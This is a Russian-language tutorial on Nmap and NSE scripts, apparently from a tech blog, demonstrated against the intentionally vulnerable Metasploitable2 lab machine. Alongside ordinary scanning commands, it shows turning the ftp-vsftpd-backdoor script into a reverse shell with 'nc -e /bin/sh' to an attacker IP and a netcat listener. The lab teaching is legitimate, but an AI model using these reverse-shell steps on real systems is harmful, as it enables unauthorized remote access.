Как использовать сценарии Nmap Script Engine (NSE) в Linux?

Опубликовано: 5 Октября, 2022

Nmap или Network Mapper — это инструмент с открытым исходным кодом, который используется для обнаружения хостов и служб в компьютерной сети. Это один из самых мощных и гибких сканеров портов из когда-либо созданных. Чтобы установить Nmap на любую ОС, такую как Ubuntu или Kali Linux, вы можете использовать команду. Он очень гибкий благодаря наличию множества доступных сценариев NSE. NSE расшифровывается как Nmap Scripting Engine. Чтобы понять концепции Nmap и NSE, давайте рассмотрим пример. Для этой задачи мы будем использовать уязвимую машину под названием metasploitable2. Он очень уязвим по своей природе. Взлом состоит из нескольких этапов, и одним из наиболее важных является сканирование портов. Теперь для сканирования metasploitable2 нам понадобится инструмент сканирования портов, в данном случае мы используем Nmap.

Работа со скриптами Nmap Script Engine (NSE):

1. Мы можем обнаружить все подключенные устройства в сети с помощью команды

sudo netdiscover

2. Выходные данные netdiscover показывают, что поставщик Mac VMware Inc является нашими двумя машинами, которые можно использовать с помощью metasploitable. Теперь мы можем запустить сканирование Nmap. Показанная здесь команда Nmap:

nmap -sV -T4  192.168.1.6

куда:

-sV используется для определения версии службы.

-T4 обозначает скорость сканирования nmap.

3. Полученный результат указывает на службу и версию, работающую на metasploitable2, но что, если мы хотим собрать больше информации о цели. Вот где NSE полезен. NSE позволяет пользователям писать простые сценарии для автоматизации множества сетевых задач. Затем эти сценарии выполняются параллельно со скоростью и эффективностью. Скрипты NSE написаны на языке программирования под названием Lua.

4. Чтобы использовать скрипты NSE, мы используем флаг -sC, или мы можем использовать –script для запуска пользовательских скриптов.

5. Команда Nmap для сканирования службы по умолчанию

nmap -sC -T4  192.168.147.132

6. Теперь, если мы сравним результаты сканирования версии сервиса ( -sV ) и сканирования скриптов по умолчанию, то увидим много различий. Возьмем порт 21 ( FTP ). В случае сканирования версии сервиса мы получаем только версию. В случае сканирования сценария было обнаружено, что анонимный вход также разрешен, и сценарий, написанный на lua, попытался войти анонимно, чтобы проверить, возможно ли это. Проблема со сканированием скриптов заключается в том, что иногда они могут быть навязчивыми по своей природе. Это означает, что скрипт пытается напрямую взаимодействовать с целью, а также брандмауэры и IDS могут заблокировать ваш запрос, но Nmap настолько мощен, что может выполнять сканирование, минуя фильтры. -sC эквивалентен --script=default .

7. В Nmap есть набор скриптов, сгруппированных по умолчанию, безопасным и другим категориям . Когда вы используете флаг -sC и когда Nmap обнаруживает порт, он запускает набор сценариев, которые по умолчанию используют этот порт, и возвращает результаты. По этой причине результаты различаются в обоих случаях. Существует множество сценариев, доступных при использовании самого флага -sC .

8. Скрипты nmap находятся в /usr/share/nmap/scripts/ . Существует более 600 сценариев NSE, доступных для различных портов, созданных сообществом разработчиков открытого исходного кода. Вы можете обновить сценарии NSE с помощью следующей команды:

 nmap --script-updatedb

9. В случае, если мы хотим проверить доступные сценарии, мы можем просмотреть результаты, чтобы увидеть доступные сценарии для порта.

10. ftp-anon.nse — это сценарий NSE, используемый для обнаружения анонимного входа на FTP-серверы. Этот сценарий является частью сценариев по умолчанию для порта 21. Именно по этой причине мы получили результат разрешенного анонимного входа при использовании флага -sC .

11. Скрипты Nmap настолько мощны, что могут помочь вам установить оболочку на целевой машине.

12. Мы видим, что Nmap, просто запустив скрипт, смог идентифицировать внедрение команды или RCE (удаленное выполнение кода) на целевой машине. Nmap попытался выполнить команду ID, и результат вернулся как команда, выполненная пользователем root. Следовательно, Nmap подтвердил наличие ошибки внедрения команд. Так много скриптов в Nmap поддерживают передачу аргументов. Мы также можем получить обратную оболочку только с помощью сценариев Nmap NSE, но нам нужно знать, как пройти или как использовать сценарии для этой функции. Nmap предоставляет опцию справки.

13. Из меню справки мы знаем, что можем отредактировать скрипт ftp-vsftpd-backdoor.nse и изменить команду по умолчанию на нужную команду Linux для получения обратного шелла.

14. Приведенная ниже команда отправит /bin/sh на порт 1234 192.168.147.131 (это наша атакующая машина). Когда скрипт выполняется на metasploitable 2, он вернет реверсивную оболочку на нашу машину.

nc -e /bin/sh 192.168.147.131 1234

15. Чтобы прослушать порт с помощью nmap

nc -nvlp 1234

где -lp означает прослушивание порта 1234.

16. Вы также можете запустить все скрипты для определенного порта с помощью « theportname-* »

 nmap -p 21 192.168.147.132 --script "ftp-*"

В данном случае мы сканируем порт 21, который является ftp, поэтому вместо скриптов мы передаем « ftp-* » в качестве аргумента.